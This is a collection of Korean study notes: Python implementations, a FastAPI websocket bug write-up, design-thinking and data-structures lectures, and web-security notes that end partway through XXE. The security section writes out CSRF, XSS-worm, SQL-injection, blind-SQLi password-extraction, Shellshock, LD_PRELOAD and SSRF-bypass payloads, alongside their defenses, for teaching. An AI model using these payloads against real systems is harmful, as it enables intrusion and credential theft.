파이썬의 구현체 CPython 파이썬의 표준 구현체이자 인터프리터 역할 파이썬 코드를 바이트 코드로 변환 바이트 코드를 실행 파이썬 바이트 코드 .pyc 파일에 저장 플랫폼에 독립적 파이썬 가상 머신(PVM)에서 실행 예시 4 0 LOAD_GLOBAL 0 (print) 2 LOAD_CONST 1 ('hello world') 4 CALL_FUNCTION 1 6 POP_TOP 5 8 LOAD_CONST 2 (True) 10 RETURN_VALUE Jython 파이썬 코드를 자바 바이트 코드로 변환, JVM에서 실행 장점 : 자바 라이브러리 호출, 자바 클래스 사용 가능, GIL 없음 단점 : 파이썬 3.x 지원하지 않음, CPython 대비 속도가 느림 PyPy 파이썬 코드를 JIT 컴파일하여 실행 RPython(Restricted Python)으로 작성된 파이썬 인터프리터 접근 방식 RPython(엄격한 파이썬)을 만들어 인터프리터를 작성 RPython의 효과적인 컴파일을 위해 다른 언어로 툴체인을 제작 Python 구현을 RPython 문법으로 작성 3에서 만든 구현을 1, 2를 통해 얻은 인터프리터로 컴파일 4에서 만든 후보들의 성능을 측정하고, 개선 5의 산출물을 출시, 다시 반복 장단점 장점 : CPython 대비 빠른 속도, 다양한 플랫폼 지원 단점 : 특정 라이브러리 호환성 문제가 존재, 메모리 사용량이 큼

Issue - fastapi에서 websocket 404 문제

🐍 Python

배경 테커 부트캠프 최종발표 전날이다. gpt 프롬프트 부분 수정을 main 브랜치에 반영하고, EC2 서버에 배포했다. 문제 배포한 서버에서 websocket 연결이 404 에러를 반환한다. (내일이 최종 발표인데,,,) 다른 http 요청은 정상적으로 처리되지만 웹소켓만 처리되지 않는 것을 확인했다. nginx의 log 1{IP주소} - - [02/Aug/2024:10:59:04 +0000] "GET /ws/chatrooms/294?user_id=296 HTTP/1.1" 404 22 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15" 2{IP주소} - - [02/Aug/2024:10:59:05 +0000] "GET /ws/chatrooms/294?user_id=296 HTTP/1.1" 404 22 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15" 사고흐름 nginx 설정 문제인가? X nginx 설정은 변경되지 않았다. 배포환경의 문제인가? X 로컬에서 실행한 서버에서도 동일한 문제가 발생하였다. 이번 배포에서 변경된 소스코드가 문제인가? X 육안으로 확인했을 때는, 변경된 부분이 웹소켓과 관련이 없다. 로컬에서 이전 버전으로 reset 후 시도 해보았지만 문제가 해결되지 않았다. Docker image 문제인가? X 백엔드 서버는 python:slim 이미지를 사용하고 있으며, 해당 이미지가 변경되어서 문제가 발생할 가능성이 있다고 생각했다. 로컬에서 docker image를 사용하지 않고 실행해보았지만 문제가 해결되지 않았다. 이때, 로그에서 warning 메시지를 확인했다. WARNING: No supported WebSocket library detected. Please use "pip install 'uvicorn[standard]'", or install 'websockets' or 'wsproto' manually. 원인 모종의 이유로, 이전에 개발/배포할때에는 존재했던 웹소켓 관련 라이브러리가 사라진 것이다. 오류를 해결하고 조사해본 결과 fastapi 레포지토리에 6시간 전 merge된 PR을 확인할 수 있었다. (https://github.com/fastapi/fastapi/pull/11935) 해당 PR에서는 pip install fastapi[standard] 를 통해 표준 종속 라이브러리를 설치하는 기능이 추가되었다. 이로 인해, uvicorn[standard] 라이브러리를 설치하지 않았을 때, 웹소켓 관련 라이브러리가 설치되지 않아 발생한 문제였다. 해결 requirements.txt에 websockets를 추가해서 문제를 해결할 수 있었다. 배운 점 중요한 프로젝트를 할 때 requirements.txt에 항상 각 라이브러리에 버전을 명시해야겠다는 생각이 들었다. 이번에도 버전을 명시했다면, 라이브러리가 업데이트 되더라도 문제가 발생하지 않았을 것이다. 또한, 로그를 잘 확인하고, warning 메시지를 놓치지 않도록 주의해야겠다.

230315 기프랩 Design Thinking 방법론 - 김재정 교수님

🏫 학과 공부

디자인 씽킹이란 공감의 과정을 통해 문제점을 찾아내고, 아이디어를 발산하고, 프로토타입을 만들어 검증 과정을 거치는, 반복적 프로세스에 대한 방법론 및 사고방식 디자인 씽킹 프로세스 공감 - 문제 정의 - 아이디어 도출 - 프로토타이핑 - 테스팅 1. 공감 공감 프로세스 면담하기 관찰하기 경험하기 면담지 준비하기 순차적 경험 질문 : 어떤 순서로 행동하고 경험하는지 물어보자 감정 질문 이유 질문 : 행동 또는 감정에 대한 이유를 물어보자 또 질문 : “또…“라는 질문을 많이 하자 구체화 질문 관찰하기 | 모니터링 현장 중심 관찰 : 세상을 넓고 깊게 바라보기 관찰하기 | 쉐도잉 사람의 체험이나 행동을 그자리에서 관찰하기 관찰하기 | 맥락 질의법 현장에서 관찰 및 면담을 통해 대상자에 대한 이해를 하는 방법 맥락 질의법의 4가지 원칙 맥락 : 대상자의 작업환경에 대한 디테일을 관찰하라 파트너십 : 대상자를 공감하라 해석 : 연구자는 대상자에게 본인의 해석을 공유하라 포커스 : 핵심 목표 주제에서 벗어나지 마라 맥락 질의법 수행하기 준비하기, 기록하기 도제관계 모델 (Master-apprentice Model) 마스터(대상자)가 해당 업무환경에서 자신의 생각과 행동을 소리내어 말하게 한다 연구자는 견습생이 되어 중간중간 물어보면서 학습한다 소리내어 생각하기 (Think Aloud) 기법 병행식 : 과업을 하는 과정에서 실시간으로 이야기 한다 회고식 : 단계별 과업을 끝내고 이야기한다 병행+회고 하이브리드 2. 문제정의 페르소나 만들물 페르소나 : 특정 상황에서 어떻게 행동하고 반응하는지 이해하기 위해 만든 가상의 인물, 솔루션의 수혜자 POV 정의하기 페르소나의 관점에서 1개의 POV로 압축하자 POV(Point of View) 페르소나는 누구인가? 페르소나가 원하는것은 무엇인가? 페르소나에게 그것이 중요한 이유는 무엇인가? HMW 정의하기 구체적인 아이디어를 내기 위한 브레인스토밍 과정 POV로 부터 파생되며 “수행 가능한 단위"로 정의 형식 : (우리는) 어떻게 ~~~ 할것 인가 고객여정 지도 3. 아이디어 도출 브레인스토밍 오즈본의 4원칙 비판금지 자유분방 질보다 양 Idea 편승 어피니티 다이어그래밍 (친화도법) 수집한 데이터를 정리하는 방법 데이터에서 공통된 이슈/문제/필요성 등을 도출할 수 있음 요약하여 포스트잇에 기록, 유사한 테마, 토픽으로 그룹화 다양한 아이디어 도출 방법 의사결정 그리드 (긴급도, 중요도) 10+10 방법 (10개의 아이디어, 10개의 솔루션) 아이디어 평가 테이블 (점수 매기기) 아이디어를 컨셉으로 엮기 4. Prototype 스토리보드 스토리보드는 제품 사용의 환경, 절차, 니즈 충족 요소가 포함된다 스토리보딩 절차 스토리라인 만들기 메인 설정샷 그리기 핵심 아이디어의 전달을 위한 적절한 카메라 구도 설정 및 그리기 행동과 움직임 강조 처리하기 사람들에게 시연 후 피드백 받고 수정하기

🏫 학과 공부

제 1장 : 자료구조를 배우기 위한 준비 (230302) 배열 배열(Array): 동일한 타입의 원소들이 연속적인 메모리 공간에 할당되어 있는 기초적인 자료구조 추상데이터 타입 추상데이터타입(ADT:Abstract Data Type) : 데이터와 그 데이터에 대한 추상적인 연산들로써 구성 ADT =~ 자바의 interface, 자료구조 =~ 자바의 class 자료구조는 추상데이터타입을 구체적으로 구현한 것 1-2 수행시간의 분석 알고리즘의 성능: 수행시간을 나타내는 **시간복잡도(Time Complexity)**와 알고리즘이 수행되는 동안 사용되는 메모리 공간의 크기를 나타내는 **공간복잡도(Space Complexity)**에 기반하여 분석 시간 복잡도 시간복잡도는 알고리즘(연산)이 실행되는 동안에 사용된 기본적인 연산 횟수를 입력 크기의 함수로 나타낸다. 기본 연산(Elementary Operation)이란 데이터 간 크기 비교, 데이터 읽기 및 갱신, 숫자 계산 등과 같은 단순한 연산을 의미 4가지 종류의 분석 최악경우 분석(Worst-case Analysis) : 상한선의 의미 평균경우 분석(Average-case Analysis) 최선경우 분석(Best-case Analysis) : 가장 빠른 수행시간 상각분석(Amortized Analysis) : 총 연산횟수를 합하고 연산 횟수로 나누어 수행시간을 분석 1-3 수행시간의 점근표기법 O (Big-Oh)-표기법 Ω (Big-Omega)-표기법 Θ (Theta)-표기법 O (Big-Oh) 표기법 모든 N ≥ N0에 대해서 f(N) ≤ cg(N)이 성립하는 양의 상수 c와N0가 존재하면, f(N) = O(g(N))이다. 모든 N ≥ N0에 대해서 f(N) ≤ cg(N)이 성립하는 양의 상수 c와 N0가 존재하면, f(N) = O(g(N)) f(N) = O(g(N))은 N0 보다 큰 모든 N 대해서 f(N)이 양의 상수를 곱한 g(N)에 미치지 못한다는 뜻 g(N)은 f(N)의 상한(Upper Bound) 이라고 한다 Ω (Big-Omega) 표기법 모든 N ≥ N0에 대해서 f(N) ≥ cg(N)이 성립하는 양의 상수 c와 N0가 존재하면, f(N) = Ω(g(N)) f(N) = Ω(g(N))은 양의 상수를 곱한 g(N)이 f(N)에 미치지 못한다는 뜻 g(N)을 f(N)의 하한(Lower Bound) 이라고 한다 Θ (Theta) 표기법 모든 N ≥ N0에 대해서 c1g(N) ≥ f(N) ≥ c2g(N)이 성립하는 양의 상수 c1, c2, N0가 존재하면, f(N) = Θ(g(N)) Θ-표기는 수행시간의 O-표기와 Ω-표기가 동일한 경우에 사용 자주 사용되는 함수의 O-표기와 이름 O(1), O(logN), O(N), O(NlogN), O(N2), O(N3), O(2N) 1-5 순환 (Recursion) 순환으로 구현된 메소드의 구성요소 기본(Base) case : 스스로를 더 이상 호출하지 않는 부분 순환 case : 스스로를 호출하는 부분 꼬리 순환 (Tail Recursion) 메소드의 마지막 부분에서 순환 (호출 후 되돌아 왔을때 수행할 연산이 없는 경우) 꼬리 순환은 반복문으로 변환하는 것이 효율적이다 1public class TailRecursion { 2 public static int factorial(int n, int fact) { 3 if (n==1) 4 return fact; 5 return factorial( ,); 6 } 7} 제 2장 : 리스트 리스트 일련의 동일한 타입의 항목들이 나열된 것 배열 동일한 타입의 원소들이 연속적인 메모리 공간에 할당되어 각 항목이 하나의 원소에 저장되는 기본적인 자료구조 접근 : O(1), 삽입/삭제 : O(n) 배열로 리스트 구현 (ArrList) peek, insert, resize, delete 단순 연결 리스트(Singly Linked List) print, search, insertFront, insertAfter 자기참조변수 1public class Node <E> { 2 private Node<E> next; // 자기 참조 변수 3 ... 4} 수행시간 search : O(n) insert, delete : O(1), p가 안주어지면 O(n) 이중 연결 리스트 (Doubly Linked List) head, tail, item insertBefore, insertAfter, delete, 수행시간 삽입/삭제 연산 : O(1) 탐색 연산 : O(n) 원형 연결 리스트(Circular Linked List) 수행시간 삽입/삭제 연산 : O(1) 탐색 연산 : O(n) 제 3장 : 스택과 큐 스택 배열로 구현 / LinkedList로 구현 후위 표기 <-> 중위 표기 수행시간 push, pop : O(1) 배열 크기의 확대/축소 : O(n) 단순 연결 리스트의 pop, push : O(1) 제 4장 : 트리 용어 root, parent, child leaf, sibling, ancesto리(조상), descendant(후손) subtree(노드 자신과 후손으로 구성된 트리) degree(차수 : 자식 수) level (깊이와 동일, 0 또는 1부터 시작) height (트리의 최대 level) key (탐색에 사용되는 노드에 저장된 정보) 왼쪽 자식-오른쪽 형제 (Left Child-Right Sibling) 표현 노드의 왼쪽 자식과 오른쪽 형제를 가리키는 2개의 레퍼런스만 사용 이진 트리 (Binary Tree) 각 노드의 자식 수가 2 이하인 트리 특별한 형태의 이진트리 포화 이진 트리(Perfect Binary Tree) 각 내부 노드가 2개의 자식을 가지고 모든 이파리가 같은 층에 있는 트리 완전 이진 트리(Complete Binary Tree) 마지막 레벨을 제외한 각 레벨이 노드들로 꽉 차있고, 마지막 레벨에는 노드들이 왼쪽부터 빠짐없이 채워진 트리 이진 트리의 속성 레벨 k에 있는 최대 노드 수 = $2^{k-1}$ 높이가 h인 포화 이진 트리에 있는 노드 수 = $2^{h}-1$ n개의 노드를 가진 완전 이진 트리의 높이 = $log_{2}(n+1)$ 높이가 h인 완전 이진트리에 존재할 수 있는 노드 수 n 배열에 저장된 이진 트리 트리 1A 2├── B 3│ ├-─ D 4│ │ ├── H 5│ │ └── I 6│ └-─ E 7│ ├── J 8│ └── K 9└── C 10 ├── F 11 └── G 위 트리를 배열에 저장하면 (인덱스 1부터 시작) 1A = [A, B, C, D, E, F, G, H, I, J, K] a[i]의 부모는 a[i/2], 단 i>1 a[i]의 왼쪽 자식은 a[2i], 단 2i <= n a[i]의 오른쪽 자식은 a[2i+1], 단 2i+1 <= n 편향(skewed) 이진 트리 메모리 낭비가 심하다 이진 트리의 순회 preorder ; root - left - right inorder : left - root - right postorder : left - right - root levelorder : left -> right (from top level) 수행 시간 O(n) 시간이 소요 집합의 표현 배열 index 0 1 2 3 4 5 6 7 8 9 value 4 2 7 7 4 4 2 7 7 4 집합 1 17 2├── 2 3│ ├-─ 1 4│ └-─ 6 5├── 8 6└── 3 집합2 14 2├── 0 3├── 5 4└── 9 수행 시간 union : O(N) find : O(N) 제 5장 : 탐색 트리 5.1 이진탐색트리 min 함수 deleteMin 함수 delete 함수 CASE 1 : 삭제할 노드의 두 자식이 모두 null CASE 2 : 삭제할 노드의 오른쪽 자식만 null CASE 3 : 삭제할 노드의 왼쪽 자식만 null CASE 4 : 삭제할 노드의 자식이 둘다 존재 시간 복잡도 O($logn$) 5.2 AVL 트리 AVL트리의 정의 임의의 노드 x에 대해 x의 왼쪽 서브트리와 오른쪽 서브트리의 높이 차이가 1을 넘지 않는 이진 탐색 트리 AVL트리의 회전 연산 LL 회전 : 왼쪽으로 치우친 경우 rotateRight(n)를 통해 해결 RR 회전 : 오른쪽으로 치우친 경우 rotateLeft(n)를 통해 해결 LR 회전 : rotateLeft(n.left) -> rotateRight(n)로 해결 RL 회전 : rotateRight(n.right) -> rotateLeft(n)로 해결 4가지 회전의 공통점 회전 후의 트리들이 모두 같다, 모두 O(1) AVL트리의 연산 삽입 연산 이진 트리의 삽입과 동일하게 새 노드 삽입 새 노드로부터 루트로 거슬러 올라가며 불균형이 발생하면 적절하게 회전 연산 수행 삭제 연산 5.3 2-3 트리 2-3 트리의 정의 임의의 노드가 2개 또는 3개의 자식을 가질 수 있는 트리로, 모든 리프 노드가 같은 레벨에 있다. 2-3 트리의 연산 탐색 연산 이진 탐색 트리와 동일한 방법으로 탐색 분리 연산 키를 부모로 올려 보냄 부모가 3-노드이면 다시 분리연산 수행 루트에서 일어나면 트리의 높이 1 증가 삽입 연산 삽입 후 분리 연산을 수행 삭제 연산 삭제할 노드가 이파리 노드이면 그냥 삭제 삭제한 노드가 이파리 노드가 아니라면 교환 후 삭제 이동 연산, 통합 연산 사용 이동 연산 빈 자리를 형제와 바꾼다 이동연산이 불가능하면 통합 연산 수행 통합 연산 삭제한 노드의 부모와 형제를 통합한다 2-3 트리의 수행시간 탐색, 삽입, 삭제 연산 -> O($logn$) -> 트리의 높이에 비례 분리 연산, 통합 연산 -> O(1) 2-3트리가 가장 높은 경우 모든 노두가 2-노드인 경우 높이 : $ log_2(n+1) $ 2-3트리가 가장 낮은 경우 모든 노드가 3-노드인 경우 높이 : $ log_3(n) $ 5.4 2-3-4 트리 2-3트리를 확장한 2-3-4 트리는 노드가 자식을 4개까지 가질 수 있는 완전균형트리 이론적으로는 2-3트리와 동일하다 실제로는 더 빠름 5.5 B-트리 B-트리의 정의 다수의 키를 가진 노드로 구성되어 다방향 탐색이 가능한 균현트리 B-트리의 연산 탐색 연산 루트 부터 시작 각 노드에서 이진 탐색 수행 삽입 연산 이파리에 새 키를 수용할 공간이 있다면, 정렬된 상태를 유지하도록 삽입 이미 M-1개의 키를 가지고 있으면, 분리 연산을 수행 삭제 연산 삭제할 노드가 이파리 노드이면 그냥 삭제 삭제한 노드가 이파리 노드가 아니라면 교환 후 삭제 이동 연산, 통합 연산 사용 이동 연산 키의 수가 M/2-1보다 작으면(underflow) 형제, 부모노드를 이능 이동 연산이 불가능하면 통합 연산 수행 통합 연산 삭제한 노드의 부모와 형제를 통합한다 B-트리의 수행시간 탐색, 삽입, 삭제 연산 -> O($log_{M/2}n$) -> 트리의 높이에 비례 제 6장 : 해시 테이블 대표적인 해시 함수 중간 제곱 함수 : 키를 제곱한 후, 적절한 크기의 중간 부분을 사용 접기 함수 : 키를 여러 부분으로 나눈 후, 이들을 더한 값을 사용 자바의 hashCode() 1private int hash(Key k) { 2 return (k.hashCode() & 0x7fffffff) % M; 3} 해시 테이블의 저장 방식 개방 주소 방식 : 충돌된 키를 일정한 방식에 따라 찾아낸 empty원소에 저장 선형 조사, 이차조사, 이중해싱 선형 조사 : 충돌이 일어난 곳으로부터 순차적으로 탐색 1차 군집화 (키들이 뭉쳐지는 현상) 발생 군집화는 군집된 키들을 순차적으로 방문해야하는 문제점을 일으킨다 제 7장 : 우선순위 큐 우선순위 큐 (Priority Queue) 가장 높은 우선순위를 가진 항목에 접근과 삭제, 임의의 우선순위를 가진 항목의 삽입을 지원하는 자료구조 힙 (Heap) 완전 이진 트리로서 부모의 우선순위가 자식의 우선순위보다 높은 자료구조 최소 힙, 최대 힙 힙의 연산 최솟값 삭제 루트 삭제 후, 마지막 노드를 루트로 이동 downheap 수행 : 루트부터 비교하면서 내려감 삽입 마지막 항목의 다음에 삽입 upheap 수행 : 루트로 비교하면서 올라감 상향식 힙 1public void createHeap() { 2 for (int i = N/2; i>0; i--) { 3 downheap(i); 4 } 5} O(n) 수행 시간 접근, 삽입, 삭제 : O(logn) 제 8장 : 정렬 선택 정렬 (Selection Sort) 항상 O(n^2) 삽입 정렬 (Insertion Sort) 최악 : O(n^2) 최선 : O(n) : 이미 정렬된 경우 힙 정렬 (Heap Sort) 항상 : O(nlogn) 합병 정렬 (Merge Sort) 항상 : O(nlogn) Stable Sort : 같은 값의 키를 가진 레코드의 순서가 정렬 후에도 유지되는 정렬 퀵 정렬 (Quick Sort) 최악 : O(n^2) 최선 : O(nlogn) 성능 향상 방법 Median of Three : 첫번째, 마지막, 중간값 중에서 중간값을 피벗으로 선택 입력이 작은 크기가 되었을때 삽입 정렬을 사용

🏫 학과 공부

Web Security Model Web 보안의 목표 Integirty : 무결성 Confidentiality : 기밀성 HTTP URL https:// www.example.edu :80 /lectures ?lec=80 #slides protocol + hostname + port + path + query + fragment Cookies 서버가 웹 브라우저에게 보내는 정보 역할 : 세션 관리, 사용자 설정 저장, 사용자 추적 등 1// 쿠키 설정 2Set-Cookie: name=value; 3// 쿠키 전송 4Cookie: name=value; Same Origin Policy (SOP) 같은 Origin에서만 리소스를 공유할 수 있도록 한다 Origin scheme://domain:port Domain Relaxation 서브 도메인 간의 리소스 공유 document.domain을 수정하여, 서브 도메인 간의 리소스 공유 가능 예시 1a.domain.com -> domain.com 가능 2a.domain.com -> b.domain.com 불가능 3a.domain.com -> com 불가능 취약점 : 악의적인 사이트가 document.domain을 수정하여 접근을 시도할 수 있음 해결방법 : Mozilla Public Suffix List (PSL) 사용 BroadcastChannel API 같은 origin의 다른 context 간의 통신 사용법 1const bc = new BroadcastChannel('channel'); 2bc.postMessage('message'); 3bc.onmessage = (e) => console.log(e.data); XMLHttpRequest (XHR) 서버와 비동기 통신을 위한 객체 CORS (Cross-Origin Resource Sharing) 다른 Origin의 리소스를 요청할 때, 서버에서 허용하는 정책 Cookie 서버가 클라이언트에게 보내는 정보 Cookie Scoping Domain 해당 도메인은 Subdomain 또는 Parent Domain에 대해서만 쿠키를 전송 Path 해당 경로의 하위 경로까지 쿠키를 전송 Secure Cookies HTTPS 프로토콜을 사용할 때만 쿠키를 전송 1Set-Cookie: name=value; Secure HTTPOnly Cookies JavaScript에서 쿠키에 접근할 수 없도록 함 1Set-Cookie: name=value; HttpOnly CSRF (Cross Site Request Forgery) 다른 사이트에서 요청을 위조하여 공격하는 기법 배경 특정 사용자가 로그인된 상태라면, 사용자를 확인하기 위해 브라우저에서 쿠키와 함께 요청을 전송 cross-site에서도 쿠키와 함께 요청을 보냈을때, 서버가 same-site인지 cross-site인지 확인이 불가한 경우 CSRF 공격 가능 예상 시나리오 피해자가 현재 로그인된 상태로 Malicious Site에 접속 Malicious site에서 피해자 의지와 상관없이 쿠키와 함께 요청을 전송 GET 예시 코드 1<img src="http://bank.com/transfer?to=attacker&amount=1000" /> POST 예시 코드 1<form action="http://bank.com/transfer" method="post"> 2 <input type="hidden" name="to" value="attacker" /> 3 <input type="hidden" name="amount" value="1000" /> 4</form> 5<script> 6 document.forms[0].submit(); 7</script> 방어 Referer Header 요청을 보낸 페이지의 주소를 나타내는 HTTP header를 확인하여, 요청을 보낸 페이지가 같은 사이트인지 확인 1Referer: http://www.example.com 한계 해당 field를 이용해서 접속 기록을 확인 가능 -> 개인정보 보호 문제 Same-Site Cookies 서버가 쿠키를 전송할 때, SameSite라는 쿠키 속성를 전송, same-site인지 cross-site인지 확인하여, 설정값에 따라 쿠키를 전송하지 않음 설정 값 None (모든 요청에 쿠키 전송) Strict (cross-site는 항상 쿠키 전송하지 않음) Lax (cross-site는 GET 요청시에만 쿠키 전송하지 않음) Secret Token 특정 origin의 첫 요청때, 특정한 토큰을 생성, 이후 요청시 해당 토큰을 함께 전송하여, 요청이 같은 Origin에서 온 것인지 확인 Bypassing with Clickjacking 사용자가 의도하지 않은 클릭을 유도하여, CSRF 공격을 수행하는 기법 방어 X-Frame-Options Header (값 : DENY, SAMEORIGIN, ALLOW-FROM uri) 해당 페이지를 iframe으로 렌더링하는 것을 방지 XSS(Cross Site Scripting) Attack Non-persistent (Reflected) XSS Attack 사용자의 입력값을 그대로 출력하여, 공격자가 스크립트를 삽입하여 공격하는 기법 예시 query string을 실행하는 페이지가 존재 (innerHTML) 피해자가 해당 링크를 실행 => http://www.example.com/search?input=<script>alert(“attack”);</script> 피해자의 브라우저에서 alert가 실행됨 Persistent (Stored) XSS Attack 사용자의 입력값을 DB에 저장하여, 공격자가 스크립트를 삽입하여 공격하는 기법 예시 게시판에 글을 작성하는 페이지가 존재 피해자가 해당 페이지에 스크립트를 삽입하여 글을 작성 다른 사용자가 해당 글을 읽을 때, 스크립트가 실행됨 XSS로 발생 가능한 피해 Web defacing(웹페이지 변조) Spoofing requests(사용자의 요청 변조) Stealing information(정보 탈취) Self-Propagation XSS Worm XSS 공격을 통해, 자동으로 공격을 전파하는 기법 2가지 접근 DOM Approach 1let jsCode = document.getElementById('worm').innerHTML; Link Approach 1let jsCode = `'<script src="http://www.example.com/worm.js"></script>'`; 방어 입력값 필터링 : 사용자의 입력값을 필터링하여, 스크립트를 실행하지 않도록 한다 Encoding : 사용자의 입력값을 출력할 때, HTML Encoding하여, 스크립트를 실행하지 않도록 한다 Content Security Policy (CSP) : 웹페이지에서 실행 가능한 리소스를 제한하여, XSS 공격을 방어한다 예시 (script 파일) 1Content-Security-Policy: script-src 'self' example.com 예시 (inline script) 1Content-Security-Policy: script-src 'nonce-2726c7f26c' 2// allowed script 3`<script nonce=2726c7f26c> ... </script>` 4// not allowed script 5`<script nonce=42eh44jhad> ... </script>` SQL Injection SQL 쿼리를 조작하여, DB에 대한 공격을 수행하는 기법 예시 EID에 “EID5002’#“을 삽입 -> PASSWORD 검증을 우증 1SELECT NAME, SALERY, SSN 2FROM EMPLOYEE 3WHERE EID='EID5002'#' AND PASSWORD='1234'; curl을 이용해서 SQL Injection 공격 1curl 'www.example.com/getdata.php?EID=a' OR 1=1&PASSWORD=' 방어 Filtering and Encoding data SQL Injection에서 쓰이는 특수문자를 Filtering, Encoding 1$mysqli->real_escape_string($input); 한계 필요한 문자열을 필터링할 수 있음 Prepared Statements SQL 쿼리를 미리 준비하여, 사용자의 입력값을 삽입하지 않고, 쿼리를 실행 1$stmt = $mysqli->prepare("SELECT NAME, SALARY, SSN FROM EMPLOYEE WHERE EID=? AND PASSWORD=?"); 2// ss means "string string" 3$stmt->bind_param("ss", $EID, $PASSWORD); 4$stmt->execute(); Blind SQL Injection SQL Injection 공격을 통해, DB에 대한 정보를 탈취하는 기법 Conditional Response 1/* Password의 첫번째 문자가 'm'보다 큰지 확인 */ 2xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm 3/* Password의 첫번째 문자가 't'보다 큰지 확인 */ 4xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't SQL Error - Divide by Zero 1/* Password의 첫번째 문자가 'm'보다 크면 오류 발생 */ 2xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 3'm') THEN 1/0 ELSE 'a' END FROM Users)='a SQL Error - Cast 1/* Password의 첫번째 문자가 'm'보다 크면 오류 발생 */ 2CAST((SELECT example_column FROM example_table) AS int) Time Delay 1/* Password의 첫번째 문자가 'm'보다 크면 딜레이 발생 */ 2'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND 3SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'- ShellShock Attack bash 쉘의 취약점을 이용하여, 공격하는 기법 Set-UID Programs Set-UID root 권한을 가진 프로그램이 system함수를 호출할 때, 공격하는 기법 RUID : Real User ID : 프로그램을 실행한 사용자의 권한 EUID : Effective User ID : 프로그램이 실행되는 권한 Set-UID Program : 사용자가 프로그램을 root 권한으로 실행할 수 있도록 하는 프로그램, RUID와 EUID가 다름, Set-UID Program을 만드는 방법 1$ sudo chown root vul 2$ sudo chmod 4755 vul 3$ ls -l vul 4-rwsr-xr-x 1 root root 1234 Mar 11 12:00 vul # s가 존재 취약한 C 프로그램 (vul : Set-UID program) 1#include <stdio.h> 2void main() { 3 setuid(geteuid()); // root 권한을 가진 사용자로 설정 4 system("/bin/ls -l"); // ls -l 명령어 실행 5} 공격 명령어 1$ export foo='() { echo "hello"; }; /bin/sh' 2$ ./vul CGI(Common Gateway Interface) Programs 웹 서버에서 사용하는 CGI 프로그램에 대한 취약점 취약한 CGI 프로그램 (test.cgi) 1#!/bin/bash 2echo "Content-type: text/plain" 3echo 4echo "Hello, World!" 공격 명령어 1$ curl http://10.0.2.69/cgi-bin/test.cgi 2Hello, World! 공격을 활용하는 방법 설정 파일에 하드코딩된 db password 탈취 reverse shell 실행 Environment Variables & Attacks 프로세스가 환경변수를 얻는 방법 fork() : 자식을 생성, 자식이 부모의 환경변수를 상속 execve() : 새로운 프로그램을 자식으로 실행, 새로 환경변수를 설정 Attacks via Dynamic Linker 링크된 라이브러리를 조작하여, 공격하는 기법 원리 LD_PRELOAD는 공유 라이브러리의 목록을 저장 함수를 찾지 못하면, LD_LIBRARY_PATH에서 찾음 두 변수를 조작하여 링크된 라이브러리를 조작 예시 1$ export LD_PRELOAD=/path/to/malicious.so 2$ ./vul Attacks via Execution Program 실행 프로그램을 조작하여, 공격하는 기법 예시 1$ export PATH=/path/to/malicious:$PATH 2$ ./vul 3# // root shell 취득 Attacks via Library format string 등의 취약점을 이용하여 공격하는 기법 Attacks via Application Code buffer overflow 등의 취약점을 이용하여 공격하는 기법 Set-UID Approach VS Service Approach Clickjacking Attack 사용자의 의도와 상관없이 클릭을 유도하여, 공격하는 기법 1<iframe id="top" src="http://www.attack.com" style="opacity: 0"></iframe> 2<iframe id="bottom" src="http://www.example.com>" style="opacity: 1"></iframe> 방어 Client-side (Framekiller and Framebuster) javascript를 이용하여, 해당 페이지가 iframe으로 렌더링되는 것을 방지 1if (top != self) 2if (top.location != self.location) 3... 한계 우회할 수 있는 방법이 많아서 불안정 -> 잘 쓰지 않는다 우회 Double framing : 두개의 iframe을 사용하여, 첫번째 iframe을 숨기고, 두번째 iframe을 보여줌 Abusing onBeforeUnload : 사용자가 페이지를 떠날 때, alert을 띄워서, 사용자의 클릭을 유도 sandbox attribute : iframe에 sandbox attribute를 사용하여, 해당 iframe에서는 스크립트를 실행하지 않도록 함 options allow-same-origin allow-scripts allow-forms allow-modals allow-top-navigation 예시 1<iframe ... sandbox="allow_forms allow-scripts"></iframe> Referrer checking problems Referer를 확인하여 특정 도메인의 사이트만 iframe으로 렌더링되었는지 확인 한계 : Referer를 조작하여 우회 가능 Server-side X-Frame-Options 특정 ORIGIN 페이지에서만 해당 페이지를 iframe으로 렌더링할 수 있도록 함 예시 1X-Frame-Options: DENY // 해당 페이지를 iframe으로 렌더링하지 않음 2X-Frame-Options: SAMEORIGIN // 같은 ORIGIN 페이지에서만 해당 페이지를 iframe으로 렌더링 3X-Frame-Options: ALLOW-FROM uri // 특정 uri에서만 해당 페이지를 iframe으로 렌더링 Outdated : CSP 사용 권장 Content Security Policy (CSP) 웹페이지에서 실행 가능한 리소스를 제한 script-src : 스크립트 source를 제한 img-src : 이미지의 source를 제한 frame-ancestors : <frame>, <iframe>, <object>, <embed> 또는 <applet> 요소의 부모를 제한 예시 1$csp = "Content-Security-Policy: frame-ancestors *"; 2header($csp); Types of Context Integrity Visual Integrity 보이는 것과 실제로 실행되는 것의 차이에 대한 무결성 방어를 위한 방법 : User Confirmation, UI Randomization, Visibility Detection on Click Temporary Integrity 사용자 확인 시점과 클릭 시작 시점 사이의 UI 상태 차이에 대한 무결성 방어를 위한 방법 : Access Control Gadgets SSRF (Server Side Request Forgery) 서버에서 다른 서버로 요청을 보내는 공격 기법 공격 (서버가 신뢰된 서버에서 요청이 온 것으로 착각) 1POST /product/stock HTTP/1.0 2Content-Type: application/www-form-urlencoded 3Content-Length: 30 4 5stockApi=http://localhost/admin 방어 차단된 문자열을 URL 인코딩 또는 대소문자 변형을 통해 숨김 서로 다른 프로토콜을 사용하여, 요청을 보냄 using @ 1https://expected-host:fakepassword@evil-host using # 1https://evil-host#expected-host Rogue DNS 1https://expected-host.evil-host Double encoding : # -> %23 -> %2523 XXE (XML eXternal Entity) Injection XML 파싱 과정에서 발생하는 취약점을 이용하여, 공격하는 기법 XML custom entity XML에서 사용자가 정의한 엔티티를 사용하여, 재사용 가능한 문자열을 정의 1<?xml version="1.0" 